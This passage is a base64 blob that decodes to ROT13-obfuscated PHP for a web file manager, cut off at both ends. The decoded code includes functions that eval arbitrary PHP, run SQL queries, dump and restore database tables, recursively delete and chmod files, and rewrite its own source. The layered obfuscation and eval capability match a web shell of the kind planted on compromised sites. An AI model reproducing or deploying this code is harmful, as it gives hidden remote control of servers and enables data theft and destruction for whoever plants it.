yZmdiZXJfZ3Z6cicgPT4gZ2VociwNCgknc3pfZXJmZ2Jlcl9ndnpyJyA9PiBzbnlmciwNCik7DQoNCnZzIChyemNnbCgkX1BCQlhWUlsnc3pfcGJhc3Z0J10pKSAkc3pfcGJhc3Z0ID0gJHN6X3Fyc25oeWdfcGJhc3Z0Ow0KcnlmciAkc3pfcGJhc3Z0ID0gaGFmcmV2bnl2bXIoJF9QQkJYVlJbJ3N6X3BiYXN2dCddKTsNCg0KLy8gUHVuYXRyIHluYXRobnRyDQp2cyAodmZmcmcoJF9DQkZHWydzel95bmF0J10pKSB7IA0KCWZyZ3BiYnh2cignc3pfeW5hdCcsICRfQ0JGR1snc3pfeW5hdCddLCBndnpyKCkgKyAoODY0MDAgKiAkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKTsNCgkkX1BCQlhWUlsnc3pfeW5hdCddID0gJF9DQkZHWydzel95bmF0J107DQp9DQokeW5hdGhudHIgPSAkcXJzbmh5Z195bmF0aG50cjsNCg0KLy8gUXJncnBnIG9lYmpmcmUgeW5hdGhudHINCnZzKCRxcmdycGdfeW5hdCAmJiAhcnpjZ2woJF9GUkVJUkVbJ1VHR0NfTlBQUkNHX1lOQVRITlRSJ10pICYmIHJ6Y2dsKCRfUEJCWFZSWydzel95bmF0J10pKXsNCgkkeW5hdF9jZXZiZXZnbCA9IHJrY3licXIoJywnLCAkX0ZSRUlSRVsnVUdHQ19OUFBSQ0dfWU5BVEhOVFInXSk7DQoJdnMgKCFyemNnbCgkeW5hdF9jZXZiZXZnbCkpew0KCQlzYmVybnB1ICgkeW5hdF9jZXZiZXZnbCBuZiAkeW5hdF9uZWUpew0KCQkJJHlhdCA9IHJrY3licXIoJzsnLCAkeW5hdF9uZWUpOw0KCQkJJHlhdCA9ICR5YXRbMF07DQoJCQl2cyh2YV9uZWVubCgkeWF0LCR5bmF0Zikpew0KCQkJCSR5bmF0aG50ciA9ICR5YXQ7DQoJCQkJb2Vybng7DQoJCQl9DQoJCX0NCgl9DQp9IA0KDQovLyBQYmJ4dnIgeW5hdGhudHIgdmYgY2V2em5lbCBzYmUgcmlyZQ0KJHluYXRobnRyID0gKHJ6Y2dsKCRfUEJCWFZSWydzel95bmF0J10pKSA/ICR5bmF0aG50ciA6ICRfUEJCWFZSWydzel95bmF0J107DQoNCi8vIFlicG55dm1uZ3ZiYQ0KJHluYXQgPSB3ZmJhX3FycGJxcigkZ2VuYWZ5bmd2YmEsZ2Vocik7DQp2cyAoJHluYXRbJ3ZxJ10hPSR5bmF0aG50cikgew0KCSR0cmdfeW5hdCA9IHN2eXJfdHJnX3BiYWdyYWdmKCd1Z2djZjovL2Vuai50dmd1aG9oZnJlcGJhZ3JhZy5wYnovUXJhMWtray9Tdnlyem5hbnRyZS96bmZncmUveW5hdGhudHJmLycgLiAkeW5hdGhudHIgLiAnLndmYmEnKTsNCgl2cyAoIXJ6Y2dsKCR0cmdfeW5hdCkpIHsNCgkJLy9lcnpiaXIgaGFhcnByZmZuZWwgcHVuZW5wZ3JlZg0KCQkkZ2VuYWZ5bmd2YmFfZmdldmF0ID0gZmdlX2VyY3lucHIoIiciLCcmIzM5Oycsd2ZiYV9yYXBicXIod2ZiYV9xcnBicXIoJHRyZ195bmF0KSxXRkJBX0hBUkZQTkNSUV9IQVZQQlFSKSk7DQoJCSRzdHAgPSBzdnlyX3RyZ19wYmFncmFnZihfX1NWWVJfXyk7DQoJCSRmcm5lcHUgPSBjZXJ0X3puZ3B1KCcjZ2VuYWZ5bmd2YmFbXGZdP1w9W1xmXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJHN0cCwgJHpuZ3B1cmYpOw0KCQl2cyAoIXJ6Y2dsKCR6bmdwdXJmWzFdKSkgew0KCQkJJHN2eXJ6Z3Z6ciA9IHN2eXJ6Z3Z6cihfX1NWWVJfXyk7DQoJCQkkZXJjeW5wciA9IGZnZV9lcmN5bnByKCd7IicuJHpuZ3B1cmZbMV0uJyJ9JywkZ2VuYWZ5bmd2YmFfZmdldmF0LCRzdHApOw0KCQkJdnMgKHN2eXJfY2hnX3BiYWdyYWdmKF9fU1ZZUl9fLCAkZXJjeW5wcikpIHsNCgkJCQkkemZ0IC49IF9fKCdTdnlyIGhjcW5ncnEnKTsNCgkJCX0JcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KCQkJdnMgKCFyemNnbCgkc3pfcGJhc3Z0Wydzel9lcmZnYmVyX2d2enInXSkpIGdiaHB1KF9fU1ZZUl9fLCRzdnlyemd2enIpOw0KCQl9CQ0KCQkkeW5hdCA9IHdmYmFfcXJwYnFyKCRnZW5hZnluZ3ZiYV9mZ2V2YXQsZ2Vocik7DQoJfQ0KfQ0KDQovKiBTaGFwZ3ZiYWYgKi8NCg0KLy9nZW5hZnluZ3ZiYQ0Kc2hhcGd2YmEgX18oJGdya2cpew0KCXR5Ym9ueSAkeW5hdDsNCgl2cyAodmZmcmcoJHluYXRbJGdya2ddKSkgZXJnaGVhICR5bmF0WyRncmtnXTsNCglyeWZyIGVyZ2hlYSAkZ3JrZzsNCn07DQoNCi8vcXJ5cmdyIHN2eXJmIG5hcSBxdmVmIGVycGhlZnZpcnlsDQpzaGFwZ3ZiYSBzel9xcnlfc3Z5cmYoJHN2eXIsICRlcnBoZWZ2aXIgPSBzbnlmcikgew0KCXZzKCRlcnBoZWZ2aXIgJiYgQHZmX3F2ZSgkc3Z5cikpIHsNCgkJJHJ5ZiA9IHN6X2ZwbmFfcXZlKCRzdnlyLCAnJywgJycsIGdlaHIpOw0KCQlzYmVybnB1ICgkcnlmIG5mICRyeSkgew0KCQkJdnMoJHJ5ICE9ICcuJyAmJiAkcnkgIT0gJy4uJyl7DQoJCQkJc3pfcXJ5X3N2eXJmKCRzdnlyIC4gJy8nIC4gJHJ5LCBnZWhyKTsNCgkJCX0NCgkJfQ0KCX0NCgl2cyhAdmZfcXZlKCRzdnlyKSkgew0KCQllcmdoZWEgZXpxdmUoJHN2eXIpOw0KCX0gcnlmciB7DQoJCWVyZ2hlYSBAaGF5dmF4KCRzdnlyKTsNCgl9DQp9DQoNCi8vc3Z5ciBjcmV6Zg0Kc2hhcGd2YmEgc3pfZXZ0dWdmX2ZnZXZhdCgkc3Z5ciwgJHZzID0gc255ZnIpew0KCSRjcmV6ZiA9IHN2eXJjcmV6Zigkc3Z5cik7DQoJJHZhc2IgPSAnJzsNCgl2cyghJHZzKXsNCgkJdnMgKCgkY3JlemYgJiAwa1AwMDApID09IDBrUDAwMCkgew0KCQkJLy9GYnB4cmcNCgkJCSR2YXNiID0gJ2YnOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrTjAwMCkgPT0gMGtOMDAwKSB7DQoJCQkvL0Zsem9ieXZwIFl2YXgNCgkJCSR2YXNiID0gJ3knOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrODAwMCkgPT0gMGs4MDAwKSB7DQoJCQkvL0VydGh5bmUNCgkJCSR2YXNiID0gJy0nOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrNjAwMCkgPT0gMGs2MDAwKSB7DQoJCQkvL095YnB4IGZjcnB2bnkNCgkJCSR2YXNiID0gJ28nOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrNDAwMCkgPT0gMGs0MDAwKSB7DQoJCQkvL1F2ZXJwZ2JlbA0KCQkJJHZhc2IgPSAncSc7DQoJCX0gcnlmcnZzICgoJGNyZXpmICYgMGsyMDAwKSA9PSAwazIwMDApIHsNCgkJCS8vUHVuZW5wZ3JlIGZjcnB2bnkNCgkJCSR2YXNiID0gJ3AnOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrMTAwMCkgPT0gMGsxMDAwKSB7DQoJCQkvL1NWU0IgY3Zjcg0KCQkJJHZhc2IgPSAnYyc7DQoJCX0gcnlmciB7DQoJCQkvL0hheGFiamENCgkJCSR2YXNiID0gJ2gnOw0KCQl9DQoJfQ0KICANCgkvL0JqYXJlDQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAxMDApID8gJ2UnIDogJy0nKTsNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDA4MCkgPyAnaicgOiAnLScpOw0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDQwKSA/DQoJKCgkY3JlemYgJiAwazA4MDApID8gJ2YnIDogJ2snICkgOg0KCSgoJGNyZXpmICYgMGswODAwKSA/ICdGJyA6ICctJykpOw0KIA0KCS8vVGViaGMNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAyMCkgPyAnZScgOiAnLScpOw0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDEwKSA/ICdqJyA6ICctJyk7DQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMDgpID8NCgkoKCRjcmV6ZiAmIDBrMDQwMCkgPyAnZicgOiAnaycgKSA6DQoJKCgkY3JlemYgJiAwazA0MDApID8gJ0YnIDogJy0nKSk7DQogDQoJLy9KYmV5cQ0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDA0KSA/ICdlJyA6ICctJyk7DQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMDIpID8gJ2onIDogJy0nKTsNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAwMSkgPw0KCSgoJGNyZXpmICYgMGswMjAwKSA/ICdnJyA6ICdrJyApIDoNCgkoKCRjcmV6ZiAmIDBrMDIwMCkgPyAnRycgOiAnLScpKTsNCg0KCWVyZ2hlYSAkdmFzYjsNCn0NCg0Kc2hhcGd2YmEgc3pfcGJhaXJlZ19ldnR1Z2YoJHpicXIpIHsNCgkkemJxciA9IGZnZV9jbnEoJHpicXIsOSwnLScpOw0KCSRnZW5hZiA9IG5lZW5sKCctJz0+JzAnLCdlJz0+JzQnLCdqJz0+JzInLCdrJz0+JzEnKTsNCgkkemJxciA9IGZnZWdlKCR6YnFyLCRnZW5hZik7DQoJJGFyanpicXIgPSAnMCc7DQoJJGJqYXJlID0gKHZhZykgJHpicXJbMF0gKyAodmFnKSAkemJxclsxXSArICh2YWcpICR6YnFyWzJdOyANCgkkdGViaGMgPSAodmFnKSAkemJxclszXSArICh2YWcpICR6YnFyWzRdICsgKHZhZykgJHpicXJbNV07IA0KCSRqYmV5cSA9ICh2YWcpICR6YnFyWzZdICsgKHZhZykgJHpicXJbN10gKyAodmFnKSAkemJxcls4XTsgDQoJJGFyanpicXIgLj0gJGJqYXJlIC4gJHRlYmhjIC4gJGpiZXlxOw0KCWVyZ2hlYSB2YWdpbnkoJGFyanpicXIsIDgpOw0KfQ0KDQpzaGFwZ3ZiYSBzel9wdXpicSgkc3Z5ciwgJGlueSwgJGVycCA9IHNueWZyKSB7DQoJJGVyZiA9IEBwdXpicShlcm55Y25ndSgkc3Z5ciksICRpbnkpOw0KCXZzKEB2Zl9xdmUoJHN2eXIpICYmICRlcnApew0KCQkkcnlmID0gc3pfZnBuYV9xdmUoJHN2eXIpOw0KCQlzYmVybnB1ICgkcnlmIG5mICRyeSkgew0KCQkJJGVyZiA9ICRlcmYgJiYgc3pfcHV6YnEoJHN2eXIgLiAnLycgLiAkcnksICRpbnksIGdlaHIpOw0KCQl9DQoJfQ0KCWVyZ2hlYSAkZXJmOw0KfQ0KDQovL3libnEgc3Z5cmYNCnNoYXBndmJhIHN6X3FiamF5Ym5xKCRzdnlyX2FuenIpIHsNCiAgICB2cyAoIXJ6Y2dsKCRzdnlyX2FuenIpKSB7DQoJCXZzIChzdnlyX3JrdmZnZigkc3Z5cl9hbnpyKSkgew0KCQkJdXJucXJlKCJQYmFncmFnLVF2ZmNiZnZndmJhOiBuZ2ducHV6cmFnOyBzdnlyYW56cj0iIC4gb25mcmFuenIoJHN2eXJfYW56cikpOyAgIA0KCQkJdXJucXJlKCJQYmFncmFnLUdsY3I6IG5jY3l2cG5ndmJhL3NiZXByLXFiamF5Ym5xIik7DQoJCQl1cm5xcmUoIlBiYWdyYWctR2xjcjogbmNjeXZwbmd2YmEvYnBncmctZmdlcm56Iik7DQoJCQl1cm5xcmUoIlBiYWdyYWctR2xjcjogbmNjeXZwbmd2YmEvcWJqYXlibnEiKTsNCgkJCXVybnFyZSgiUGJhZ3JhZy1RcmZwZXZjZ3ZiYTogU3Z5ciBHZW5hZnNyZSIpOyAgICAgICAgICAgIA0KCQkJdXJucXJlKCJQYmFncmFnLVlyYXRndTogIiAuIHN2eXJmdm1yKCRzdnlyX2FuenIpKTsJCQ0KCQkJc3loZnUoKTsgLy8gZ3V2ZiBxYnJmYSdnIGVybnl5bCB6bmdncmUuDQoJCQkkc2MgPSBzYmNyYSgkc3Z5cl9hbnpyLCAiZSIpOw0KCQkJanV2eXIgKCFzcmJzKCRzYykpIHsNCgkJCQlycHViIHNlcm5xKCRzYywgNjU1MzYpOw0KCQkJCXN5aGZ1KCk7IC8vIGd1dmYgdmYgcmZmcmFndm55IHNiZSB5bmV0ciBxYmpheWJucWYNCgkJCX0gDQoJCQlzcHliZnIoJHNjKTsNCgkJCXF2cigpOw0KCQl9IHJ5ZnIgew0KCQkJdXJucXJlKCdVR0dDLzEuMCA0MDQgQWJnIFNiaGFxJywgZ2VociwgNDA0KTsNCgkJCXVybnFyZSgnRmduZ2hmOiA0MDQgQWJnIFNiaGFxJyk7IA0KCQkJcXZyKCk7DQogICAgICAgIH0NCiAgICB9IA0KfQ0KDQovL2Z1Ymogc2J5cXJlIGZ2bXINCnNoYXBndmJhIHN6X3F2ZV9mdm1yKCRzLCRzYmV6bmc9Z2Vocikgew0KCXZzKCRzYmV6bmcpICB7DQoJCSRmdm1yPXN6X3F2ZV9mdm1yKCRzLHNueWZyKTsNCgkJdnMoJGZ2bXI8PTEwMjQpIGVyZ2hlYSAkZnZtci4nIG9sZ3JmJzsNCgkJcnlmcnZzKCRmdm1yPD0xMDI0KjEwMjQpIGVyZ2hlYSBlYmhhcSgkZnZtci8oMTAyNCksMikuJyZhb2ZjO1hvJzsNCgkJcnlmcnZzKCRmdm1yPD0xMDI0KjEwMjQqMTAyNCkgZXJnaGVhIGViaGFxKCRmdm1yLygxMDI0KjEwMjQpLDIpLicmYW9mYztabyc7DQoJCXJ5ZnJ2cygkZnZtcjw9MTAyNCoxMDI0KjEwMjQqMTAyNCkgZXJnaGVhIGViaGFxKCRmdm1yLygxMDI0KjEwMjQqMTAyNCksMikuJyZhb2ZjO1RvJzsNCgkJcnlmcnZzKCRmdm1yPD0xMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpIGVyZ2hlYSBlYmhhcSgkZnZtci8oMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZhb2ZjO0dvJzsgLy86KSkpDQoJCXJ5ZnIgZXJnaGVhIGViaGFxKCRmdm1yLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmYW9mYztDbyc7IC8vIDstKQ0KCX0gcnlmciB7DQoJCXZzKHZmX3N2eXIoJHMpKSBlcmdoZWEgc3Z5cmZ2bXIoJHMpOw0KCQkkZnZtcj0wOw0KCQkkcXU9YmNyYXF2ZSgkcyk7DQoJCWp1dnlyKCgkc3Z5cj1lcm5xcXZlKCRxdSkpIT09c255ZnIpIHsNCgkJCXZzKCRzdnlyPT0nLicgfHwgJHN2eXI9PScuLicpIHBiYWd2YWhyOw0KCQkJdnModmZfc3Z5cigkcy4nLycuJHN2eXIpKSAkZnZtcis9c3Z5cmZ2bXIoJHMuJy8nLiRzdnlyKTsNCgkJCXJ5ZnIgJGZ2bXIrPXN6X3F2ZV9mdm1yKCRzLicvJy4kc3Z5cixzbnlmcik7DQoJCX0NCgkJcHliZnJxdmUoJHF1KTsNCgkJZXJnaGVhICRmdm1yK3N2eXJmdm1yKCRzKTsgDQoJfQ0KfQ0KDQovL2ZwbmEgcXZlcnBnYmVsDQpzaGFwZ3ZiYSBzel9mcG5hX3F2ZSgkcXZlcnBnYmVsLCAkcmtjID0gJycsICRnbGNyID0gJ255eScsICRxYl9hYmdfc3Z5Z3JlID0gc255ZnIpIHsNCgkkcXZlID0gJGFxdmUgPSBuZWVubCgpOw0KCXZzKCFyemNnbCgkcmtjKSl7DQoJCSRya2MgPSAnL14nIC4gZmdlX2VyY3lucHIoJyonLCAnKC4qKScsIGZnZV9lcmN5bnByKCcuJywgJ1xcLicsICRya2MpKSAuICckLyc7DQoJfQ0KCXZzKCFyemNnbCgkZ2xjcikgJiYgJGdsY3IgIT09ICdueXknKXsNCgkJJHNoYXAgPSAndmZfJyAuICRnbGNyOw0KCX0NCgl2cyhAdmZfcXZlKCRxdmVycGdiZWwpKXsNCgkJJHN1ID0gYmNyYXF2ZSgkcXZlcnBnYmVsKTsNCgkJanV2eXIgKHNueWZyICE9PSAoJHN2eXJhbnpyID0gZXJucXF2ZSgkc3UpKSkgew0KCQkJdnMoZmhvZmdlKCRzdnlyYW56ciwgMCwgMSkgIT0gJy4nIHx8ICRxYl9hYmdfc3Z5Z3JlKSB7DQoJCQkJdnMoKHJ6Y2dsKCRnbGNyKSB8fCAkZ2xjciA9PSAnbnl5JyB8fCAkc2hhcCgkcXZlcnBnYmVsIC4gJy8nIC4gJHN2eXJhbnpyKSkgJiYgKHJ6Y2dsKCRya2MpIHx8IGNlcnRfem5ncHUoJHJrYywgJHN2eXJhbnpyKSkpew0KCQkJCQkkcXZlW10gPSAkc3Z5cmFuenI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCXB5YmZycXZlKCRzdSk7DQoJCWFuZ2ZiZWcoJHF2ZSk7DQoJfQ0KCWVyZ2hlYSAkcXZlOw0KfQ0KDQpzaGFwZ3ZiYSBzel95dmF4KCR0cmcsJHl2YXgsJGFuenIsJGd2Z3lyPScnKSB7DQoJdnMgKHJ6Y2dsKCRndmd5cikpICRndmd5cj0kYW56ci4nICcub25mcmFuenIoJHl2YXgpOw0KCWVyZ2hlYSAnJmFvZmM7JmFvZmM7PG4gdWVycz0iPycuJHRyZy4nPScub25mcjY0X3JhcGJxcigkeXZheCkuJyIgZ3ZneXI9IicuJGd2Z3lyLiciPicuJGFuenIuJzwvbj4nOw0KfQ0KDQpzaGFwZ3ZiYSBzel9uZWVfZ2JfYmNndmJhKCRuZWUsJGEsJGZyeT0nJyl7DQoJc2Jlcm5wdSgkbmVlIG5mICRpKXsNCgkJJG89JGlbJGFdOw0KCQkkZXJmLj0nPGJjZ3ZiYSBpbnlocj0iJy4kby4nIiAnLigkZnJ5ICYmICRmcnk9PSRvPydmcnlycGdycSc6JycpLic+Jy4kby4nPC9iY2d2YmE+JzsNCgl9DQoJZXJnaGVhICRlcmY7DQp9DQoNCnNoYXBndmJhIHN6X3luYXRfc2JleiAoJHBoZWVyYWc9J3JhJyl7DQplcmdoZWEgJw0KPHNiZXogYW56cj0icHVuYXRyX3luYXQiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSIiPg0KCTxmcnlycGcgYW56cj0ic3pfeW5hdCIgZ3ZneXI9IicuX18oJ1luYXRobnRyJykuJyIgYmFwdW5hdHI9InFicGh6cmFnLnNiZXpmW1wncHVuYXRyX3luYXRcJ10uZmhvenZnKCkiID4NCgkJPGJjZ3ZiYSBpbnlocj0icmEiICcuKCRwaGVlcmFnPT0ncmEnPydmcnlycGdycT0iZnJ5cnBncnEiICc6JycpLic+Jy5fXygnUmF0eXZmdScpLic8L2JjZ3ZiYT4NCgkJPGJjZ3ZiYSBpbnlocj0icXIiICcuKCRwaGVlcmFnPT0ncXInPydmcnlycGdycT0iZnJ5cnBncnEiICc6JycpLic+Jy5fXygnVHJlem5hJykuJzwvYmNndmJhPg0KCQk8YmNndmJhIGlueWhyPSJlaCIgJy4oJHBoZWVyYWc9PSdlaCc/J2ZyeXJwZ3JxPSJmcnlycGdycSIgJzonJykuJz4nLl9fKCdFaGZmdm5hJykuJzwvYmNndmJhPg0KCQk8YmNndmJhIGlueWhyPSJzZSIgJy4oJHBoZWVyYWc9PSdzZSc/J2ZyeXJwZ3JxPSJmcnlycGdycSIgJzonJykuJz4nLl9fKCdTZXJhcHUnKS4nPC9iY2d2YmE+DQoJCTxiY2d2YmEgaW55aHI9Imh4IiAnLigkcGhlZXJhZz09J2h4Jz8nZnJ5cnBncnE9ImZyeXJwZ3JxIiAnOicnKS4nPicuX18oJ0h4ZW52YXZuYScpLic8L2JjZ3ZiYT4NCgk8L2ZyeXJwZz4NCjwvc2Jlej4NCic7DQp9DQoJDQpzaGFwZ3ZiYSBzel9lYmJnKCRxdmVhbnpyKXsNCgllcmdoZWEgKCRxdmVhbnpyPT0nLicgQkUgJHF2ZWFuenI9PScuLicpOw0KfQ0KDQpzaGFwZ3ZiYSBzel9jdWMoJGZnZXZhdCl7DQoJJHF2ZmN5bmxfcmVlYmVmPXZhdl90cmcoJ3F2ZmN5bmxfcmVlYmVmJyk7DQoJdmF2X2ZyZygncXZmY3lubF9yZWViZWYnLCAnMScpOw0KCWJvX2ZnbmVnKCk7DQoJcmlueShnZXZ6KCRmZ2V2YXQpKTsNCgkkZ3JrZyA9IGJvX3RyZ19wYmFncmFnZigpOw0KCWJvX3JhcV9weXJuYSgpOw0KCXZhdl9mcmcoJ3F2ZmN5bmxfcmVlYmVmJywgJHF2ZmN5bmxfcmVlYmVmKTsNCgllcmdoZWEgJGdya2c7DQp9DQoNCi8vRlVCSiBRTkdOT05GUkYNCnNoYXBndmJhIHN6X2ZkeV9wYmFhcnBnKCl7DQoJdHlib255ICRzel9wYmFzdnQ7DQoJZXJnaGVhIGFyaiB6bGZkeXYoJHN6X3BiYXN2dFsnZmR5X2ZyZWlyZSddLCAkc3pfcGJhc3Z0WydmZHlfaGZyZWFuenInXSwgJHN6X3BiYXN2dFsnZmR5X2NuZmZqYmVxJ10sICRzel9wYmFzdnRbJ2ZkeV9xbyddKTsNCn0NCg0Kc2hhcGd2YmEgc3pfZmR5KCRkaHJlbCl7DQoJdHlib255ICRzel9wYmFzdnQ7DQoJJGRocmVsPWdldnooJGRocmVsKTsNCglib19mZ25lZygpOw0KCSRwYmFhcnBndmJhID0gc3pfZmR5X3BiYWFycGcoKTsNCgl2cyAoJHBiYWFycGd2YmEtPnBiYWFycGdfcmVlYmUpIHsNCgkJYm9fcmFxX3B5cm5hKCk7CQ0KCQllcmdoZWEgJHBiYWFycGd2YmEtPnBiYWFycGdfcmVlYmU7DQoJfQ0KCSRwYmFhcnBndmJhLT5mcmdfcHVuZWZyZygnaGdzOCcpOw0KICAgICRkaHJldnJxID0gemxmZHl2X2RocmVsKCRwYmFhcnBndmJhLCRkaHJlbCk7DQoJdnMgKCRkaHJldnJxPT09c255ZnIpIHsNCgkJYm9fcmFxX3B5cm5hKCk7CQ0KCQllcmdoZWEgemxmZHl2X3JlZWJlKCRwYmFhcnBndmJhKTsNCiAgICB9IHJ5ZnIgew0KCQl2cyghcnpjZ2woJGRocmV2cnEpKXsNCgkJCWp1dnlyKCRlYmogPSB6bGZkeXZfc3JncHVfbmZmYnAoJGRocmV2cnEpKSB7DQoJCQkJJGRocmVsX2VyZmh5Z1tdPSAgJGViajsNCgkJCX0NCgkJfQ0KCQkkaXFoemM9cnpjZ2woJGRocmVsX2VyZmh5Zyk/Jyc6aW5lX3JrY2JlZygkZGhyZWxfZXJmaHlnLGdlaHIpOwkNCgkJYm9fcmFxX3B5cm5hKCk7CQ0KCQkkcGJhYXJwZ3ZiYS0+cHliZnIoKTsNCgkJZXJnaGVhICc8Y2VyPicuZmdldmNmeW5mdXJmKCRpcWh6YykuJzwvY2VyPic7DQoJfQ0KfQ0KDQpzaGFwZ3ZiYSBzel9vbnB4aGNfZ25veXJmKCRnbm95cmYgPSAnKicsICRzaHl5X29ucHhoYyA9IGdlaHIpIHsNCgl0eWJvbnkgJGNuZ3U7DQoJJHpsZmR5cW8gPSBzel9mZHlfcGJhYXJwZygpOw0KCSRxcnl2enZncmUgPSAiOyBcYSAgXGEiOw0KCXZzKCRnbm95cmYgPT0gJyonKQl7DQoJCSRnbm95cmYgPSBuZWVubCgpOw0KCQkkZXJmaHlnID0gJHpsZmR5cW8tPmRocmVsKCdGVUJKIEdOT1lSRicpOw0KCQlqdXZ5cigkZWJqID0gemxmZHl2X3NyZ3B1X2ViaigkZXJmaHlnKSkJew0KCQkJJGdub3lyZltdID0gJGVialswXTsNCgkJfQ0KCX0gcnlmciB7DQoJCSRnbm95cmYgPSB2Zl9uZWVubCgkZ25veXJmKSA/ICRnbm95cmYgOiBya2N5YnFyKCcsJywkZ25veXJmKTsNCgl9DQogICAgDQoJJGVyZ2hlYT0nJzsNCglzYmVybnB1KCRnbm95cmYgbmYgJGdub3lyKQl7DQoJCSRlcmZoeWcgPSAkemxmZHlxby0+ZGhyZWwoJ0ZSWVJQRyAqIFNFQlogJy4kZ25veXIpOw0KCQkkYWh6X3N2cnlxZiA9IHpsZmR5dl9haHpfc3ZyeXFmKCRlcmZoeWcpOw0KCQkkZXJnaGVhLj0gJ1FFQkMgR05PWVIgVlMgUktWRkdGIGAnLiRnbm95ci4nYCcuJHFyeXZ6dmdyZTsNCgkJJGViajIgPSB6bGZkeXZfc3JncHVfZWJqKCR6bGZkeXFvLT5kaHJlbCgnRlVCSiBQRVJOR1IgR05PWVIgJy4kZ25veXIpKTsNCgkJJGVyZ2hlYS49JGViajJbMV0uJHFyeXZ6dmdyZTsNCiAgICAgICAgdnMgKCRzaHl5X29ucHhoYykgew0KCQlzYmUgKCR2ID0gMDsgJHYgPCAkYWh6X3N2cnlxZjsgJHYrKykgIHsNCgkJCWp1dnlyKCRlYmogPSB6bGZkeXZfc3JncHVfZWJqKCRlcmZoeWcpKSB7DQoJCQkJJGVyZ2hlYS49ICdWQUZSRUcgVkFHQiBgJy4kZ25veXIuJ2AgSU5ZSFJGKCc7DQoJCQkJc2JlKCR3PTA7ICR3PCRhaHpfc3ZyeXFmOyAkdysrKQl7DQoJCQkJCSRlYmpbJHddID0gbnFxZnluZnVyZigkZWJqWyR3XSk7DQoJCQkJCSRlYmpbJHddID0gZmdlX2VyY3lucHIoIlxhIiwiXFxhIiwkZWJqWyR3XSk7DQoJCQkJCXZzICh2ZmZyZygkZWJqWyR3XSkpIHsgJGVyZ2hlYS49ICciJy4kZWJqWyR3XS4nIicgOyB9IHJ5ZnIgeyAkZXJnaGVhLj0gJyIiJzsgfQ0KCQkJCQl2cyAoJHc8KCRhaHpfc3ZyeXFmLTEpKSB7ICRlcmdoZWEuPSAnLCc7IH0NCgkJCQl9DQoJCQkJJGVyZ2hlYS49ICcpJy4kcXJ5dnp2Z3JlOw0KCQkJfQ0KCQkgIH0NCgkJfSByeWZyIHsgDQoJCSRlcmdoZWEgPSBjZXJ0X2VyY3lucHIoIiNOSEdCX1ZBUEVSWlJBRz1bXHFdKyAjdmYiLCAnJywgJGVyZ2hlYSk7DQoJCX0NCgkJJGVyZ2hlYS49IlxhXGFcYSI7DQoJfQ0KDQoJLy9mbmlyIHN2eXINCiAgICAkc3Z5cj10enFuZ3IoIkwtei1xX1Utdi1mIixndnpyKCkpLicuZmR5JzsNCgkkdW5hcXlyID0gc2JjcmEoJHN2eXIsJ2orJyk7DQoJc2pldmdyKCR1bmFxeXIsJGVyZ2hlYSk7DQoJc3B5YmZyKCR1bmFxeXIpOw0KCSRueXJlZyA9ICdiYVB5dnB4PSJ2cyhwYmFzdmV6KFwnJy4gX18oJ1N2eXIgZnJ5cnBncnEnKS4nOiBcYScuICRzdnlyLiAnLiBcYScuX18oJ05lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBzdnlyPycpIC4gJ1wnKSkgcWJwaHpyYWcueWJwbmd2YmEudWVycyA9IFwnP3FyeXJncj0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1ICAuICdcJyInOw0KICAgIGVyZ2hlYSAkc3Z5ci4nOiAnLnN6X3l2YXgoJ3FiamF5Ym5xJywkY25ndS4kc3Z5cixfXygnUWJqYXlibnEnKSxfXygnUWJqYXlibnEnKS4nICcuJHN2eXIpLicgPG4gdWVycz0iIyIgZ3ZneXI9IicgLiBfXygnUXJ5cmdyJykgLiAnICcuICRzdnlyIC4gJyIgJyAuICRueXJlZyAuICc+JyAuIF9fKCdRcnlyZ3InKSAuICc8L24+JzsNCn0NCg0Kc2hhcGd2YmEgc3pfZXJmZ2Jlcl9nbm95cmYoJGZkeVN2eXJHYlJrcnBoZ3IpIHsNCgkkemxmZHlxbyA9IHN6X2ZkeV9wYmFhcnBnKCk7DQoJJHFyeXZ6dmdyZSA9ICI7IFxhICBcYSI7DQogICAgLy8gWWJucSBuYXEgcmtjeWJxciBndXIgZmR5IHN2eXINCiAgICAkcyA9IHNiY3JhKCRmZHlTdnlyR2JSa3JwaGdyLCJlKyIpOw0KICAgICRmZHlTdnlyID0gc2VybnEoJHMsc3Z5cmZ2bXIoJGZkeVN2eXJHYlJrcnBoZ3IpKTsNCiAgICAkZmR5TmVlbmwgPSBya2N5YnFyKCRxcnl2enZncmUsJGZkeVN2eXIpOw0KCQ0KICAgIC8vQ2VicHJmZiBndXIgZmR5IHN2eXIgb2wgZmduZ3J6cmFnZg0KICAgIHNiZXJucHUgKCRmZHlOZWVubCBuZiAkZmd6Zykgew0KICAgICAgICB2cyAoZmdleXJhKCRmZ3pnKT4zKXsNCgkJCSRlcmZoeWcgPSAkemxmZHlxby0+ZGhyZWwoJGZnemcpOw0KCQkJCXZzICghJGVyZmh5Zyl7DQoJCQkJCSRmZHlSZWViZVBicXIgPSB6bGZkeXZfcmVlYWIoJHpsZmR5cW8tPnBiYWFycGd2YmEpOw0KCQkJCQkkZmR5UmVlY